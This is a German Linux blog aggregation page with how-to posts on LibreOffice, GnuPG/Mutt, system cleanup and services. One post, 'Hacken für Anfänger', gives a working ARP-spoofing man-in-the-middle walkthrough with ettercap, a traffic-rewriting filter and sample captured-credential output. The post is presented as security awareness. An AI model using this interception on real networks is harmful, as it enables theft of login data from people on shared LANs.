Planet.ubuntuusers.de

Da dies der erste Beitrag ist, der auf “planet.ubuntuusers.de” veröffentlicht wird, stelle ich mich und meinen Blog erst-einmal kurz vor.


Blog: Wenn ich meinen Blog in einem Satz beschreiben müsste… -> “Mein IT-Blog, in welchem ich über Linux, Windows, Programmierung und dem Web 2.0 schreibe, halt alles was ich selber nicht vergessen möchte.” Meistens schreibe ich keine langen Text, sondern kurze Anleitungen (HowTo’s) und wenn sich an der einen oder anderen Stelle Rechtsschreibfehler finden lassen, hab ich damit kein Problem. ;-) -> “Hier gibt es weitere Infos.”


Ich: Mein Spitzname ist “Voku“,  bin seit diesem Jahr “Fachinformatiker für Systemintegration” und studiere nun “Informatik“. :-) -> “Hier gibt es weitere Infos.”

LibreOffice Installation unter Debian / Ubuntu

In diesem HowTo beschreibe ich wie du LibreOffice auf Debian/Ubuntu installierst. Kurz zum Hintergrund, warum OpenOffice zu -> LibreOffice wurde:

Gegründet wurde die Stiftung von verschiedenen Mitgliedern von OpenOffice.org. Auf der Webseite von “The Dokument Foundation” findet sich einer Liste der Gründungsmitglieder, diese haben diesen Schritt gewagt, da seit der Übernahmen von Sun durch Oracle nur noch wenige Ressourcen aus der Hamburger Entwicklungsabteilung ins Projekt eingeflossen seien. (Quelle: heise.de) Nun haben auch schon einige Firmen (GoogleNovell und Red Hat) angekündigt die neue Foundation zu unterstützen. Wer diesbezüglich noch mehr Infos sucht, kann sich folgenden Artikel durchlesen -> ikhaya.ubuntuusers.de


“Eine Abspaltung (auch Fork; engl. fork = Gabel, üblicherweise als Maskulinum verwendet) ist in der Softwareentwicklung ein Entwicklungszweig nach der Aufspaltung eines Projektes in zwei oder mehr Folgeprojekte, wobei Teile des Quellcodes und seiner Historie kopiert werden und dann unabhängig von dem ursprünglichen Projekt weiterentwickelt werden.” – Wiki


libreoffice


libreoffice-menü


Installation unter Ubuntu:




[stextbox id=”warning”]Fremdpakete können das System beschädigen -> wiki.ubuntuusers.de/fremdquellen[/stextbox]


sudo add-apt-repository ppa:libreoffice/ppa
sudo apt-get update
sudo apt-get install libreoffice
Gnome:
sudo apt-get install libreoffice-gnome
KDE:
sudo apt-get install libreoffice-kde


ggf. findest du hier noch weitere Infos …



Installation unter Debian:


[stextbox id=”warning”]Fremdpakete können das System beschädigen[/stextbox]


1.) Deinstallation von OpenOffice

sudo aptitude purge openoffice.org-base openoffice.org-base-core openoffice.org-common openoffice.org-gnome


Zwei mal mit “Y” bestätigen…

– Diese Lösung akzeptieren? [Y/n/q/?] Y

– Wollen Sie fortsetzen? [Y/n/?] Y

… und schon wird OpenOffice deinstalliert.


2.) LibreOffice (+deutsche Sprachdatei) herunterladen

Darauf achten, ob man die 32-Bit oder die 64-Bit Version herunterlädt.


32-Bit:
cd /tmp
wget http://ftp5.gwdg.de/pub/tdf/libreoffice/stable/3.3.0/deb/x86/LibO_3.3.0_Linux_x86_install-deb_en-US.tar.gz
wget http://ftp5.gwdg.de/pub/tdf/libreoffice/stable/3.3.0/deb/x86/LibO_3.3.0_Linux_x86_langpack-deb_de.tar.gz
64-Bit:
cd /tmp
wget http://download.documentfoundation.org/libreoffice/stable/3.3.0/deb/x86_64/LibO_3.3.0_Linux_x86-64_install-deb_en-US.tar.gz
wget http://download.documentfoundation.org/libreoffice/stable/3.3.0/deb/x86_64/LibO_3.3.0_Linux_x86-64_langpack-deb_de.tar.gz


3.) Datei entpacken

tar -xzvf LibO_3.3.0_Linux_x86_install-deb_en-US.tar.gz
tar -xzvf LibO_3.3.0_Linux_x86_langpack-deb_de.tar.gz


4.) Update LibreOffice

Falls bereits eine frühere Version von LibreOffice installiert ist, kannst du diese mit diesem Skript aktualisieren.

cd en-US
sudo ./update


5.) Installation von LibreOffice

cd DEBS
sudo dpkg -i *.deb
sudo dpkg -i desktop-integration/*menus*.deb

cd /tmp/DE/DEBS
sudo dpkg -i *.deb


E-Mail-Verschlüsselung per GnuPG

GnuPG (gpg) ist ein Kryptografie-System, dass heißt das Dateien und somit auch E-Mails mit einem öffentlichem Schlüssel verschlüsselt werden können und nur du dieser mit deinem privaten Schlüssel wieder entschlüsseln kannst. Wenn du nun verschlüsselte E-Mails empfangen möchtest, benötigst du als erstes einmal ein solches Schlüsselpaar, danach musst du den öffentlichen Schlüssel (wie der Name schon sagt) veröffentlichen, jemand muss diesen herunterladen und verwenden.Somit können andere Leute dir verschlüsselt Mails senden und nur du kannst diese lesen.


Ich werde den Vorgang anhand eines Beispieles erklären und immer verdeutlichen auf welcher Kiste (PC) ich gerade bin.


Debian

Auf dem Debian System hab ich Mutt (Mail-Client) und GnuPG installiert, um das Schlüsselpaar zu erzeugen und die verschlüsselten E-Mails per Mutt (am Ende vom Blog-Post) abzurufen und zu entschlüsseln.

1.) Die nötige Software installieren…

aptitude install pgp mutt

2.) Schlüssel erzeugen

(Bitte deinen Namen & Mail-Adresse angeben)

gpg --gen-key

gpg (GnuPG) 1.4.10; Copyright (C) 2008 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (sign only)
(4) RSA (sign only)
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)
Requested keysize is 2048 bits
Please specify how long the key should be valid.
0 = key does not expire
<n>  = key expires in n days
<n>w = key expires in n weeks
<n>m = key expires in n months
<n>y = key expires in n years
Key is valid for? (0)
Key does not expire at all
Is this correct? (y/N) y

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
“Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>”

Real name: Lars Moelleken
Email address: voku@voku-online.de
Comment:
You selected this USER-ID:
“Lars Moelleken <voku@voku-online.de>”

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
..+++++
.+++++
..+++++
.+++++
gpg: key E0000000 marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
pub   2048R/E0000000 2010-09-28
Key fingerprint = 0000 0000 0000 0000 0000  0000 0000 0000 0000 0000
uid                  Lars Moelleken <voku@voku-online.de>
sub   00000/C0000000 2010-09-28

3.) öffentlichen Schlüssel veröffentlichen

Wenn du die zuvor angegebenen Daten ggf. noch einmal ändern möchtest, kannst du dies mit dem folgendem Befehl bewerkstelligen, ansonsten… überspringe diesen Befehl einfach.

gpg --edit-key voku@voku-online.de

Nun schauen wir uns unseren öffentliche Schlüssel an, dort sollte nun bereits dein Name + E-Mail Adresse hinterlegt sein…

gpg --list-keys

… außerdem finden wir hier unsere Schlüssel-ID (Key-ID), welche wir benötigen, um den öffentlichen Schlüssel zu veröffentlichen.

gpg --send-key E0000000

Nun testen wir als erstes ob der Schlüssel bereits online verfügbar ist…

gpg --keyserver keys.gnupg.net --search-keys voku@voku-online.de


Ubuntu

Auf diesem System hab ich eine grafischen Mail-Client installiert (Claws-Mail) und den öffentlichen Schlüssel importiert und unterschrieben (beglaubigt), so dass ich verschlüsselte E-Mails verschicken kann, welche nur das zuvor erwähnte Debian System lesen kann.

1.) Die nötige Software installieren…

sudo aptitude install pgp gnupg-agent 
sudo aptitude install claws-mail claws-mail-pgpinline claws-mail-pgpmime
sudo aptitude install seahorse

Ggf. sind einige der Programm bereits auf deinem System installiert.

2.) Öffentlichen Schlüssel importieren

Nun können wir mit dem folgendem  Befehl, den Öffentlichen-Key importieren…

gpg --keyserver keys.gnupg.net --search-keys voku@voku-online.de

… nun können wir uns die Key-ID mit folgendem Befehl anschauen …

gpg --list-keys

… und mit diesem Befehl beglaubigen. (E00000000 muss natürlich durch deine angezeigte Key-ID ersetzt werden)

gpg --sign-key E0000000

3.) Software verwenden

Nachdem du in Claws-Mail das PGP Plugin aktiviert hast (“Konfiguration” -> “Erweiterungen / Plugins”) kannst du beim verfassen einer E-Mail unter dem Menüpunkt “Optionen” -> “Datenschutzsystem” -> “PGP MIME”  auswählen und danach “Optionen” -> “Verschlüsseln” und nun wird die E-Mail verschlüsselt versendet. Natürlich lassen sich die öffentlichen und auch privaten Schlüssel global im System verwenden, so dass du nun auch z.B. mit “evolution” verschlüsselte E-Mails versenden kann


Debian

Wenn du ggf. deinen privaten Schlüssel, zum lesen von erhaltenen E-Mails auf mehreren PCs verwenden möchtest, musst du diesem erst Exportieren und auf dem Ziel-PC wieder importieren, wenn das nicht der Fall sein sollte, kannst du diese Schritte überspringen.

1.) Privaten Schlüssel abspeichern

Der nachfolgende Befehl exportiert deinen privaten Schlüssel, also Vorsicht wo du diesen abspeicherst und wie du diesen auf einen anderen PC kopierst.

gpg --export-secret-keys > secret.keys


Ubuntu

2.) Privaten Schlüssel importieren

Wenn wir den Key z.B. per “scp” auf unseren zweit Rechner kopiert haben, können wir diesen mit folgendem Befehl einfügen. (und die Datei danach löschen)

gpg --import secret.keys

Zusätzlich zu den bereits installieren Programmen installieren wir nun noch “seahorse-plugin” …

seahorse-plugins

… der Datei-Manager (nautilus) und der Text-Editor (gedit) unterstützen mit dem diesem Programm GPG-Entschlüsselung. (einfach rechte Maustaste auf eine gpg-Verschlüsselte Datei und auf  “Mit Datei entschlüsseln öffnen” klicken)


Debian

Kommen wir nun zur Konfiguration von Mutt . Da wir den Mail-Client bereits am Anfang des Beitrages installiert hatten, beschreibe ich hier die wichtigsten Einstellungen und zeige meine Konfiguration, welche leicht an andere E-Mail Accounts angepasst werden kann.

1.) Als erstes laden wir die Beispiel-Konfiguration herunter.

cd ~

wget http://suckup.de/muttrc.txt
mv muttrc.txt .muttrc

wget http://suckup.de/mailcap.txt
mv mailcap.txt .mailcap

mkdit -p ~/.mutt/cache/headers
mkdir ~/.mutt/cache/bodies

2.) Im zweiten Schritt ändern wir die Konfiguration (ein wenig)

vim .muttrc

#set spoolfile=”imaps://user@domain.de:993″
#set folder=”imaps://user@domain.de/INBOX”

<- Hier musst du deine IMAP-Daten eintragen…

# direkt per sendmail (z.B. wenn du direkt auf dem Server arbeitest)
#set sendmail=”/usr/sbin/sendmail -oem -t -oi”
#set smtp_url=”smtp://user@domain.de/”
# ssmtp musst installiert und konfiguriert sein…
#set sendmail=”/usr/sbin/ssmtp -fuser@domain.de -au user@domain.de -ap password”

<- Hier musst du deine SMTP-Daten (bzw. sendmail) eintragen, bitte für eine Methode entscheiden…

#set pgp_sign_as=E0000000

-> Hier trägst du deine Key-ID von deinem GPG-Schlüssel ein…


Der Mail-Client lässt sich bis ins kleinste konfigurieren, dazu ist die Konfiguration an den meisten Stellen bereits kommentiert und lässt sich nun bereits starten.: mutt

Hier noch ein paar hilfreiche Tipps:

m -> neue E-Mail schreiben (:wq -> und mit “y” am Ende bestätigen)
r -> antworten auf eine E-Mail
f -> weiterleiten einer E-Mail
e -> kompletten Header anzeigen lassen
c -> anderen Mail-Ordner öffnen
ENTER -> E-Mail lesen
SPACE -> nächste Seite einer E-Mail ansehen
q -> E-Mail wieder verlassen und zurück zur Postfach bzw. mutt beenden wenn du nicht in einer E-Mail bist
/ -> suchen, nach E-Mails oder im Inhalt von E-Mails oder in der Hilfe …
Pfeiltasten -> navigieren im Postfach (E-Mails auswählen)
? -> Hilfe anzeigen


Hier noch ein paar Links zum Thema:

http://www.gentoo.org/doc/en/gnupg-user.xml (Englisch)

http://www.kire.ch/linux/gnupg_spf.pdf

http://www.dewinter.com/gnupg_howto/

gpg --list-keys

Ubuntu aufräumen

Wer Ubuntu einmal aufräumen möchte, kann folgendes Skript dafür verwenden, außerdem kann man mit dem Programm localpurge überflüssige Sprach-Dateien löschen.


[stextbox id=”alert”]Nutzung auf eigene Gefahr und wie immer gilt, erst verstehen dann per “Copy&Past” kopieren![/stextbox]


#!/bin/bash

OLDCONF=$(dpkg -l|grep "^rc"|awk '{print $2}')
CURKERNEL=$(uname -r|sed 's/-*[a-z]//g'|sed 's/-386//g')
LINUXPKG="linux-(image|headers|ubuntu-modules|restricted-modules)"
METALINUXPKG="linux-(image|headers|restricted-modules)-(generic|i386|server|common|rt|xen)"
OLDKERNELS=$(dpkg -l|awk '{print $2}'|grep -E $LINUXPKG |grep -vE $METALINUXPKG|grep -v $CURKERNEL)
GELB="\033[1;33m"
ROT="\033[0;31m"
FARBLOS="\033[0m"

if [ $USER != root ]; then
  echo -e $ROT"Error: du bist nicht root"
  echo -e $GELB"Ende..."$FARBLOS
  exit 0
fi

echo -e $GELB"APT-Cache aufraumen..."$FARBLOS
aptitude autoclean

echo -e $GELB"nicht mehr benoetigte Abhaengigkeiten aufraumen..."$FARBLOS
apt-get autoremove

echo -e $GELB"alte Config-Dateien loeschen..."$FARBLOS
aptitude purge $OLDCONF

echo -e $GELB"alte Kernels loeschen..."$FARBLOS
aptitude purge $OLDKERNELS

echo -e $GELB"alle Trashes löschen..."$FARBLOS
rm -rf /home/*/.local/share/Trash/*/** &> /dev/null
rm -rf /root/.local/share/Trash/*/** &> /dev/null

echo -e $GELB"Alles sauber...!"$FARBLOS

Gloobus-Vorschau für Ubuntu

Das Programm Gloobus zeigt, wie im folgendem Video zu sehen ist, von Dateien (Bildern, Archiven, Musik, Video…) eine Vorschau an, dabei wird dieser Vorschau durch das anklicken der Datei und einen darauf folgendem drücken der Leertaste aktiviert. Seht praktisch ist zudem die Option, (Zubehör -> Gloobus Preview -> Einstellungen -> “Bei Fokusverlust beenden”) das Programm automatisch zu schließen, sobald der Fokus nicht mehr auf dem Programm (Gloobus) ist.



Install: Gloobus

sudo add-apt-repository ppa:gloobus-dev/gloobus-preview
sudo apt-get update && sudo aptitude install gloobus-preview


Nun müssen wir noch eine Tastenkombination erstellen, um z.B. per <Strg> + <Space> die Vorschau zu anzuzeigen, alternativ können wir jedoch zusätzlich Nautilus Elementary (2.30) installieren und können direkt per Leertaste die Vorschau anzeigen lassen.


Install: Nautilus Elementary

sudo add-apt-repository ppa:am-monkeyd/nautilus-elementary-ppa
sudo apt-get update && sudo aptitude upgrade nautilus


Nun müssen wir den Dateimanager (Desktop) nur noch mit folgendem Befehl neu-starten.

nautilus -q

Super Nintendo Emulator für Ubuntu

Wer vor einiger Zeit auch “Secret of Evermore” gespielt hat dürfe sich bei dem folgendem Bild an ein wirklich gutes Rollenspiel erinnern…



Bildschirmfoto-ZSNES
Bildschirmfoto-ZSNES



… wenn du das Spiel noch einmal spielen willst und dann (so wie ich) mitbekommst, dass dein alter Super Nintendo schon vor Jahren verschenkt wurde, (böse Eltern ^^) dann installiere dir einfach  ZSNES.:

sudo aptitude install zsnes


Nun müssen wir noch das Spiel herunterladen, dabei ist uns nun Google behilflich.

->  einfach mal nach “Secret of Evermore (G)” suchen ;-)



SNES

Um das Feeling zu verbessern, findest du in einschlägigen Online-Shops das “Gamepad Pro”. Sobald du das Gamepad angeschlossen hast  kannst du diesen mit dem folgendem Programm kalibrieren und testen. – joystick

Hacken für Anfänger

Dieses HowTo zeigt wie einfach es ist einen Hack durchzuführen, wenn du mit deinem Laptop / PC einmal im lokalen Netz (LAN) bist. Eine kurze Einführung in die Thematik bevor es losgeht, wir wollen schließlich auch was lernen, :-) dazu versuche ich die Kommunikation zwischen zwei PCs möglichst einfach zu erklären und falls du etwas nicht verstehst, dann lese erst-einmal die folgende Erklärung bis zum Ende. Falls du dann noch fragen hast, kannst du diese unten per Kommentar stellen.


1.) Erklärung


1.1.) Am Anfang ist immer eine Information z.B. diese Webseite und damit Sender und Empfänge sich verstehen können, wurde vorher eine Sprache / Verfahren festgelegt, wie man diese Information darstellt. Das ist wie im wirklichen Leben, man kann nicht jede Information gleich behandel, es gibt wichtige, sensible Informationen und dann auch wieder irgendwelche Floskeln (Guten Tag!) die nicht sonderlich wichtig sind.


HTTP: Bei dieses Protokoll möchten wir, dass die Nachricht auch wirklich beim Empfänger ankommen. Es ist wie eine normale Unterhaltung zwischen zwei Personen, wenn der Empfänger etwas nicht verstanden hat (die Daten nicht korrekt angekommen sind), fragt er noch einmal nach. – Port 80


HTTPS: Dieses Protokoll ist für die bereits erwähnten sensiblen Daten gedacht, man kann sich dies auch als eine Unterhaltung zwischen zwei Personen vorstellen, jedoch mit dem Unterschied, dass die beiden sich vorher auf eine nur für Sie verständliche Kommunikation vereinbart haben. – Port 443


SMTP: Mithilfe von diesem Protokoll verschickt man E-Mails. Man kann sich das vorstellen, als ob man bei der Poststelle einen Brief abgibt, welcher dann erst-einmal gesammelt, verarbeitet und dann verschickt wird. Als erstes authentifiziert man sich und danach gibt man den kompletten Brief (E-Mail) am Schalter ab. – Port 25


Wenn du das Prinzip von SMTP selber testen möchtest, gehst du wie folgt vor.

auf deinem PC:

telnet "server" 25

HELO “server”

MAIL FROM:test@server.de

RCPT TO:test2@server2.de


Nun kannst du die E-Mail schrieben, mit einem “.” beendest du diese Eingabe und die Mail wird verschickt. Dies funktioniert natürlich nicht auf allen Servern, kannst es ja mal mit…

nc -v suckup.de 25

… ausprobieren, man erstelle Regel um zu verhindern, dass jeder einfach so E-Mails versenden kann und richtet eine Authentifizierung ein. Außerdem kannst du mit den hier genannten Programmen nicht nur mit den Port 25 (SMTP) verbinden, du kannst dich auch mit einem Web-Server (Port 80) und so weiter verbinden.


nc -v suckup.de 80



Mit dem folgendem Befehl, kannst du dir einige reservierte Protokolle + Ports ansehen.

cat /etc/protocols


Einen “Port“, kann man sich nun als Fernster an einem Haus (Computer) vorstellen, somit wäre unsere IP-Adresse, unsere Hausnummer und um mit unterschiedlichen Personen (Diensten) zu kommunizieren, klopfen wir an unterschiedlichen Fenstern. Die meisten Ports werden jedoch nicht reagieren, da sich in dem entsprechendem Raum niemand befindet und daher die Rollläden runtergelassen wurden (der Port geschlossen ist).


Wenn du das Prinzip von Ports selber testen möchtest, gehst du wie folgt vor.

1.) auf deinem PC: stellst du auf einem Port (3333) eine CD zur Verfügung

cat backup.iso | nc -l 3333

2.) und auf einen anderen PC im Netz: kann du die CD (ISO) nun empfangen

nc 192.168.0.1 3333 > backup.iso

-> weitere Infos zu nc


[stextbox id=”info”]Somit gibt es noch etliche weitere Beispiele, wo Anwendungen durch ein bestimmtes Protokoll miteinander kommunizieren und wir hätten bereits die obersten Schichten 7 & 6 & 5 – die Anwendungs- & Darstellungs- & Sitzungsschicht die sogenannten “Anwendungsorientierten Schichten” grob erklärt. (wobei die letzte ein abgebrochenes Gespräch wieder an einer Vorherigen stelle beginnen kann… nur um dazu auch ein paar Wort verloren zu haben)[/stextbox]


1.2.) Als nächstes müssen wir uns Vorstellen, dass diese ‘Sätze’ welche die Personen miteinander sprechen (also die Daten, welche Sie austauschen) nicht Satz für Satz gesprochen (übertragen) werden, sondern jedes Wort wird einzeln gesprochen und mit einer laufenden Nummer versehen.


z.B.:
Sender schickt folgendes Satz ->
1.Hallo 2.du 3.da, 4.was 5.geht?


Daten kommen durcheinander beim Empfänger an ->
4.was 2.du 1:Hallo 3.da 5.geht?


Und der Empfänger setzt den Satz wieder zusammen ->
Hallo du da, was geht?


Somit kann man die einzelnen Wörter auf verschiedenen Wegen zum Empfänger schicken und diese können zu verschiedenen Zeiten ankommen, der Empfänger versteht die Nachricht trotzdem. Außerdem kann es manchmal nötig sein, jemanden auf ein Gespräch hinzuweisen (Verbindung aufbauen) indem man z.B. dessen Hand schüttelt und der gegenüber nun weiß, dass nun die Kommunikation folgt und beim beendigen der selbigen, diesen Vorgang wiederholt. Falls man in diesem Fall etwas nicht verstanden hat (Daten auf dem Weg verloren gingen) kann man einfach noch einmal Nachfragen. (Drei-Wege-Handschlag – TCP)


Es  gibt jedoch auch Situationen, wo es vorkommt, dass die Kommunikation bei einer “Frage” <-> “Antwort” bleib,. zum Beispiel die Frage nach dem Wetter. Und wenn man von seinem gegenüber keine Antwort bekommt, dann halt nicht ;-) und man fragt noch einmal. Dieses Prinzip wendet man z.B. bei der Auflösung von einer IP zum Hostnamen (DNS) an, um nicht zu viel Overhead (zu viel Aufwand, für eine so kurze Antwort) zu erzeugen. – (UDP)


[stextbox id=”info”]Somit haben wir nun bereits die 4 Schicht – die Transportschicht erklärt.[/stextbox]


1.3.) Stellen wir uns weiter vor, dass wir nicht direkt vor unserm Gesprächspartner stehen, sondern dieser weit weg ist, daher schicken wir die einzelnen Wörter nun per Post und verpacken die “Sätze” (Daten) -> “Wörter” (Segmente) -> in Kisten (Paketen). Diese Kisten wenden nun über mehrere Wege von verschiedenen Poststellen (Routern) zum Ziel geliefert.


Wenn du das Prinzip von IP-Adressen selber testen möchtest, gehst du wie folgt vor.

Als erstes schauen wir und unsere eigene IP-Adresse an.

ifconfig

Beispiel: Ausgabe

[...]
Link encap:Ethernet  Hardware Adresse 00:25:56:37:5b:96  
inet Adresse:192.168.2.103  Bcast:192.168.2.255  Maske:255.255.255.0
[...]

Hier können wir nun sehr viele hilfreiche Infos finden:

Hardware Adresse: deine (theoretisch) eindeutige MAC-Adresse

inter Adresse: deine IP-Adresse

Bcast: die letzte IP-Adresse in diesem Netzwerk

Mask: die Aufteilung von deinem Netz


In meinem Beispiel habe ich selber die IP-Adresse “192.168.2.103” und die Netzmaske “255.255.255.0” daraus ergibt sich die Broadcast-Adresse, indem man die einzelnen Zahlen Binär darstellt, das heißt:

00000001 = 1

00000010 = 2

00000011 = 3

[…]

11000000 10101000 00000010 01100111

+ 11111111 11111111 11111111 00000000

————————

11000000 10101000 00000010 00000000


Das heißt, wenn wir die Netzmaske Binär darstellen, sieht diese wie folgt aus:

255.255.255.0 -> 11111111 11111111 11111111 | 00000000

Und das wiederum heißt, dass wir 8 mal die 0 (Null) als unseren Hostanteil haben, der Rest kann weiter aufgeteilt werden, um so mehrer Netze zu schaffen – (Supernetting)

2⁸ = 256 – 1 (Braodcast) – 1 (Netzadresse)

254 -> Hostanteil

Man kann nun den Hostanteil auch anders darstellen.

24 x I -> /24


Mit diesen Infos können wir nun mithilfe von “nmap” das Netz nach aktiven PCs durchsuchen.

nmap -v -sP 192.168.2.255/24


Und ggf. auch nach offenen Ports im Netz suchen.

nmap -O -sS -sV -p 20-23,80,443 '192.168.2.*'


[stextbox id=”info”]Und somit auch die 3 Schicht – die Vermittlungschicht abgeschlossen.[/stextbox]


1.4.) Die Pakete kommen nun alle beim Hausmeister (Switch) an, dieser schreit nun durch das Treppenhaus, (Broadcast) wo Familie Müller wohnt (ARP) sollte sich nun zufällig ein böser Nachbar melden (ARP-Spoofing) und die Pakete annehmen, aufmachen, verändern, neu einpacken und an den ursprünglichen Empfänger weiterreichen, ohne das dieser davon etwas mitbekommt, haben wir eine sogenannte “Man In The Middle” Taktik angewandt.


[stextbox id=”info”]Und somit die 2 Schicht – die Sicherungsschicht ausgetrickst.[/stextbox]


1.5.) Vor nicht alt so langer Zeit, wurden keine Hausmeister eingesetzt, die waren zu teuer, ;-) da musste der arme Postbote (Hub) alle Pakete an alle Mieter im Haus ausliefern. (An alle Computer im Netz alle Pakete schicken.) Man kann sich vorstellen, was das für ein Durcheinander war und das dies zu Problemen führte.


[stextbox id=”info”]Und somit auch die 1 Schicht – die Bitübertragungsschicht angesprochen.[/stextbox]



Kommen wir zum Punkt. Brauchte man in älteren Netzwerken, deren PCs über einen Hub miteinander verbunden waren, somit nur ein Sniffer-Programm z.B. Ethereal, um den gesamten Datenverkehr mitzulesen. Muss man heute meist “ARP-Spoofing” und somit eine “Man In The Middle” Methode anwenden, um an diese Daten zu kommen.


Angriff von innen

2.) System vorbereiten


Welches Interface wird verwendet?

mein_interface="wlan0"
folgende Befehle ausführen
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
echo 1 > /proc/sys/net/ipv4/conf/default/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/default/forwarding
echo 1 > /proc/sys/net/ipv4/conf/default/log_martians
echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/forwarding
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/log_martians
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/rp_filter
Nun installieren wie folgendes Programm: ettercap
aptitude install ettercap-common ettercap
Und passen dessen Konfiguration ein wenig an…
vim /etc/eppercap
…ec_uid & ec_gid auf 0 stellen…
[…]
[privs]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default
[…]
…und # vor den iptables-Regeln entfernen…
[…]
# if you use iptables:
redir_command_on = “iptables -t nat -A PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
redir_command_off = “iptables -t nat -D PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
[…]
…nun wechseln wir in folgendes Verzeichnis…
cd /usr/share/ettercap
(ggf. eigene Firewall ausschalten)
….und erstellen einen neuen Filter (neue Datei), welcher in “img”-Tag von HTML Dateien, welche per TCP von Port 80 verschickt wurden, ersetzt….
vim filter.pic
Inhalt:
if (ip.proto == TCP && tcp.dst == 80) {
        if (search(DATA.data, "Accept-Encoding")) {
                replace("Accept-Encoding", "Accept-Rubbish!");
                msg("zapped Accept-Encoding!\n");
        }
}

if (ip.proto == TCP && tcp.src == 80) {
        replace("img src=", "img src=\"http://suckup.de/lars.png\" ");
        replace("IMG SRC=", "img src=\"http://suckup.de/lars.png\" ");
}
…nun übersetzten wir den neuen Filter…
etterfilter filter.pic -o filter.ef
…und starten das Programm…

3.) Hack durchführen

sudo ettercap -T -q -F filter.ef -M arp:remote /$IP/ -P autoadd
[…]
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
HTTP : 217.188.35.145:443 -> USER: ******@web.de  PASS: *******  INFO: http://www.studivz.net/
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
[…]
Habe die Zugangsdaten in diesem Beispiel durch “*” ersetzt, in deinem Log stehen diese dann im Klartext. :-)
Bild-Fehler
Dies soll jedoch keineswegs eine Anleitung sein ein “böser” Hacker zu werden, sondern ich wollte verdeutlichen, wie einfach es ist einen solchen Hack durchzuführen und ggf. an sensible Daten zu kommen. Daher, solltest du solche oder ähnliche Fehlermeldungen im Browser sehen, solltest du sehr vorsichtig sein.
SSL-Fehler
Und dir ggf. folgendes Programm (auch für Windows verfügbar) installieren. -> XArp <-
Wer mehr Infos zu diesem Thema sucht, sollte sich den folgenden Artikel -> www.heise.de/security/artikel/Angriff-von-innen <- durchlesen und sich folgende PDF-Datei herunterladen -> pi1.informatik.uni-mannheim.de/filepool/teaching/sicherheit-2006/ITS_20061128.pdf <-

Dienste unter Debian / Ubuntu deaktivieren

Da ich vor einiger Zeit von “Apache2” zu “nginx” als Webserver umgestiegen bin, den “alten Indianer” jedoch in der Zwischenzeit noch auf einem anderen Port (127.0.0.1:8080) aktiv hatte, war es nun an der Zeit diesen abzuschalten.


Jeder Dienst besitzt ein Start-/Stop-Skript im Verzeichnis /etc/init.d diese werden dann den verschiedenen Runleveln zugeordnet.


/etc/rc0.d – Während das System herunterfährt
/etc/rcS.d – Während des Bootens ausführen
/etc/rc1.d – Arbeiten als einzelner Benutzer
/etc/rc2.d – Mehrbenutzerbetrieb inkl. Netzwerk
/etc/rc3.d bis /etc/rc5.d – Nicht genutzt
/etc/rc6.d – Während das System neu startet


Der Standard Runlevel von Debian / Ubuntu ist 2. Um diese Zuordnungen zu verstehen, zeige ich einfach ein Beispiel:

Befehl:

ls -alhF /etc/rc2.d/S20php5-fpm

Ausgabe:

lrwxrwxrwx 1 root root 18 28. Aug 02:10 /etc/rc2.d/S20php5-fpm -> ../init.d/php5-fpm*

Wie man sieht handelt es sich hierbei um einen Symbolischer-Link welcher auf ein Start-/Stop-Skript zeigt. Um diese Zuordnung zu ändern gibt es den Befehl “update-rc.d”

update-rc.d apache2 defaults

Defaults bedeutet, dass Apache in den Runleveln 2-5 gestartet und in allen anderen beendet wird.
In meinem Fall wollte ich den Dienst ausschauten und daher die Links entfernen, dies hab ich mittels diesem Befehl gemacht.

update-rc.d -f apache2 remove

Die Reihenfolge, vor/nach welchen anderen Scripts ein Dienst starten soll, wird über folgende Einstellungen geregelt.

Möchte man Apache z.B so einrichten, dass er nur in Runlevel 4 und 5 und nach allen anderen Diensten gestartet wird (99) , benutzt man folgende Zeile:

update-rc.d apache2 start 99 4 5 stop 01 0 1 2 3 6

Die Zeile hat folgende Bedeutung: Füge Startlinks (die mit “S99…” beginnen) in /etc/rc4.d und /etc/rc5.d ein, füge außerdem Stoplinks (die mit “K01…” beginnen) in den anderen rc.xd-Verzeichnissen ein. Apache wird also bei Runlevel-Wechseln zuletzt gestartet und zuerst wieder beendet.


Alternativ gibt es ein Front-End, welches dies ebenfalls erledigen kann, dieses muss in den meisten Fällen jedoch erst-einmal installiert werden.


aptitude install sysv-rc-conf
sysv-rc-conf

Mit dem Befehl “sysv-rc-conf” kannst du nun sehr bequem Dienst ein-/ und ausschalten. (dies hat natürlich keinen Einfluss auf die momentan laufenden Prozesse, dieser musst du z.B. mit “/etc/init.d/apache2 stop” oder “pkill apache2” beenden)

Nginx + PHP5-fpm auf Debian/Ubuntu

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5.3) Nginx als Webserver


nginx_logo

Wer komplett auf nginx als Webserver umsteigen will kann dies auch sehr einfach bewerkstelligen. Ich persönlich nutzte diese Methode und es laufen mehrere WordPress-Webseiten, e107, DokuWiki u.s.w. tadellos mit diesem System.

Als erstes müssen wir unsere sources.list ein wenig erweitern… um php5-fpm direkt mit dem Projektmanager installieren zu können, wie dies Funktioniert habe ich bereits in einem anderen Beitrag beschreiben: php-5-FPM

